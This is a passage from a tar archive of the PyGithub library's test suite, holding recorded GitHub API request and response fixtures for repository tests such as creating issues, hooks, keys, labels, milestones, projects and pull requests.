X-Poll-Interval, X-GitHub-Media-Type'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '1; mode=block'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-security-policy', "default-src 'none'"), ('x-github-request-id', 'CDCA:2D1A:67EE9D:75F15E:5E0555A3')] {"sha":"9b8166fc80d0f0fe9192d4bf1dbaa87f194e012f","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/9b8166fc80d0f0fe9192d4bf1dbaa87f194e012f","tree":[{"path":"README.md","mode":"100644","type":"blob","sha":"54f3a4bf0a60f29d7c4798b590f92ffd56dd6d21","size":12,"url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/54f3a4bf0a60f29d7c4798b590f92ffd56dd6d21"}],"truncated":false} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitTreeWithSha.txt0000644000175100001660000000215514756101563025757 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/trees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"tree": [{"path": "Barbaz.txt", "type": "blob", "mode": "100644", "sha": "5dd930f591cd5188e9ea7200e308ad355182a1d8"}]} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '381'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f33782d7031ff19c5301bb52068533cf"'), ('date', 'Fri, 01 Jun 2012 17:51:04 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b","sha":"fae707821159639589bf94f3fb0a7154ec5d441b","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8","size":0,"path":"Barbaz.txt","mode":"100644"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateHookWithAllParameters.txt0000644000175100001660000000172514756101563027337 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"active": false, "config": {"url": "http://foobar.com"}, "name": "web", "events": ["fork"]} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c3b371e4de1a0ec350b3fcc0c458e0f9"'), ('date', 'Sat, 19 May 2012 06:01:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/hooks/257993')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["fork"],"url":"https://api.github.com/repos/PyGithub/PyGithub/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateHookWithMinimalParameters.txt0000644000175100001660000000166014756101563030213 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com"}, "name": "web"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"276d18854081948260c44cf645c54bd0"'), ('date', 'Sat, 19 May 2012 05:03:14 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/hooks/257967')] {"updated_at":"2012-05-19T05:03:14Z","url":"https://api.github.com/repos/PyGithub/PyGithub/hooks/257967","config":{"url":"http://foobar.com"},"last_response":{"status":"unused","message":null,"code":null},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T05:03:14Z","id":257967} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateIssue.txt0000644000175100001660000000253714756101563024220 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"title": "Issue created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4935'), ('content-length', '748'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"26e2222fe8411843d3fd2b024d50c567"'), ('date', 'Sat, 19 May 2012 10:38:24 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/issues/28')] {"closed_by":null,"state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"body":null,"number":28,"milestone":null,"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","assignee":null,"labels":[],"id":4653757,"html_url":"https://github.com/PyGithub/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateIssueWithAllArguments.txt0000644000175100001660000001463714756101563027377 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0c1724d7560338bc2f2579af6e8ec545"'), ('date', 'Fri, 01 Jun 2012 20:09:23 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":5,"type":"User","company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","email":"vincent@vincent-jacques.net","hireable":false,"public_gists":3,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","bio":"","url":"https://api.github.com/users/jacquev6","following":24,"private_gists":5,"public_repos":10,"blog":"http://vincent-jacques.net","disk_usage":16900,"name":"Vincent Jacques","total_private_repos":5,"collaborators":0,"followers":13,"html_url":"https://github.com/jacquev6","id":327146,"plan":{"private_repos":5,"space":614400,"name":"micro","collaborators":1}} https GET api.github.com None /repos/PyGithub/PyGithub/milestones/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '899'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5fc4dbe5fd444fd2ea9f90c698b432cf"'), ('date', 'Fri, 01 Jun 2012 20:09:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":6,"number":2,"id":93547} https GET api.github.com None /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"931e58d337b2290717303141eda89cd7"'), ('date', 'Fri, 01 Jun 2012 20:09:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"02e10c","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question"} https POST api.github.com None /repos/PyGithub/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Body created by PyGithub", "assignee": "jacquev6", "assignees": ["jacquev6", "stuglaser"], "labels": ["Question"], "milestone": 2, "title": "Issue also created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4943'), ('content-length', '2069'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d131a11b793937127bf7d0ce56e2805e"'), ('date', 'Sun, 27 May 2012 05:40:15 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/issues/30')] {"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547,"closed_issues":2},"number":30,"closed_by":null,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}],"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4769659,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/30"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateIssueWithAllArgumentsStringLabel.txt0000644000175100001660000001351514756101563031520 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0c1724d7560338bc2f2579af6e8ec545"'), ('date', 'Fri, 01 Jun 2012 20:09:23 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":5,"type":"User","company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","email":"vincent@vincent-jacques.net","hireable":false,"public_gists":3,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","bio":"","url":"https://api.github.com/users/jacquev6","following":24,"private_gists":5,"public_repos":10,"blog":"http://vincent-jacques.net","disk_usage":16900,"name":"Vincent Jacques","total_private_repos":5,"collaborators":0,"followers":13,"html_url":"https://github.com/jacquev6","id":327146,"plan":{"private_repos":5,"space":614400,"name":"micro","collaborators":1}} https GET api.github.com None /repos/PyGithub/PyGithub/milestones/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '899'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5fc4dbe5fd444fd2ea9f90c698b432cf"'), ('date', 'Fri, 01 Jun 2012 20:09:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":6,"number":2,"id":93547} https POST api.github.com None /repos/PyGithub/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Body created by PyGithub", "assignee": "jacquev6", "assignees": ["jacquev6", "stuglaser"], "labels": ["Question"], "milestone": 2, "title": "Issue also created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4943'), ('content-length', '2069'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d131a11b793937127bf7d0ce56e2805e"'), ('date', 'Sun, 27 May 2012 05:40:15 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/issues/30')] {"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547,"closed_issues":2},"number":30,"closed_by":null,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}],"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4769659,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/30"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateKey.txt0000644000175100001660000000302514756101563023651 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/keys {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"key": "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw== vincent@IDEE", "read_only": false, "title": "Key added through PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4955'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0eb643b648f2ef29f38c2bcbce872e09"'), ('date', 'Sat, 26 May 2012 20:28:37 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/user/keys/2626761')] {"url":"https://api.github.com/user/keys/2626761","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","verified":true,"read_only":false,"title":"Key added through PyGithub","id":2626761} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateLabel.txt0000644000175100001660000000206314756101563024141 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.symmetra-preview+json'} {"color": "00ff00", "name": "Label with silly name % * + created by PyGithub", "description": "Description of label with silly name"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4969'), ('content-length', '191'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"92b623552b1bac3f019d03c920305acd"'), ('date', 'Sat, 19 May 2012 10:17:36 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub","name":"Label with silly name % * + created by PyGithub","color":"00ff00","description":"Description of label with silly name"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateMilestone.txt0000644000175100001660000000247714756101563025072 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/milestones {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"due_on": "2012-06-15T00:00:00Z", "state": "open", "description": "Description created by PyGithub", "title": "Milestone created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4958'), ('content-length', '604'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bb5eb08c923020c102396cd0c9bfdbc5"'), ('date', 'Sat, 19 May 2012 10:24:13 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/milestones/5')] {"closed_issues":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","due_on":"2012-06-15T07:00:00Z","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"number":5,"open_issues":0,"title":"Milestone created by PyGithub","created_at":"2012-05-19T10:24:13Z","state":"open","description":"Description created by PyGithub","id":121463} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateMilestoneWithMinimalArguments.txt0000644000175100001660000000226514756101563031116 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/milestones {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"title": "Milestone also created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4940'), ('content-length', '562'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"575796ba6077c16fdc79f4d38885aa5f"'), ('date', 'Sun, 27 May 2012 05:41:34 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/milestones/6')] {"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_issues":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/6","number":6,"title":"Milestone also created by PyGithub","due_on":null,"open_issues":0,"created_at":"2012-05-27T05:41:34Z","state":"open","description":null,"id":124480} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateProject.txt0000644000175100001660000000551614756101563024536 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/projects {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Body of the project", "name": "Project created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Sun, 16 Dec 2018 21:19:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1380'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4796'), ('X-RateLimit-Reset', '1544995420'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"565a2dda7529a8155defb0167e21e577"'), ('Location', 'https://api.github.com/projects/2013820'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8E44:0E35:8F3000:194B9D1:5C16C16D')] {"owner_url":"https://api.github.com/repos/PyGithub/PyGithub","url":"https://api.github.com/projects/2013820","html_url":"https://github.com/PyGithub/PyGithub/projects/1","columns_url":"https://api.github.com/projects/2013820/columns","id":2013820,"node_id":"MDc6UHJvamVjdDIwMTM4MjA=","name":"Project created by PyGithub","body":"Body of the project","number":1,"state":"open","creator":{"login":"jacquev6","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2018-12-16T21:19:42Z","updated_at":"2018-12-16T21:19:42Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreatePull.txt0000644000175100001660000001223514756101563024040 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/pulls {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"body": "Body of the pull request", "head": "BeaverSoftware:master", "base": "topic/RewriteWithGeneratedCode", "maintainer_can_modify": true, "draft": false, "title": "Pull request created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4963'), ('content-length', '4486'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1e069be7c3e3eb8b12afb1e1f5343dc9"'), ('date', 'Sun, 27 May 2012 09:25:37 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/31')] 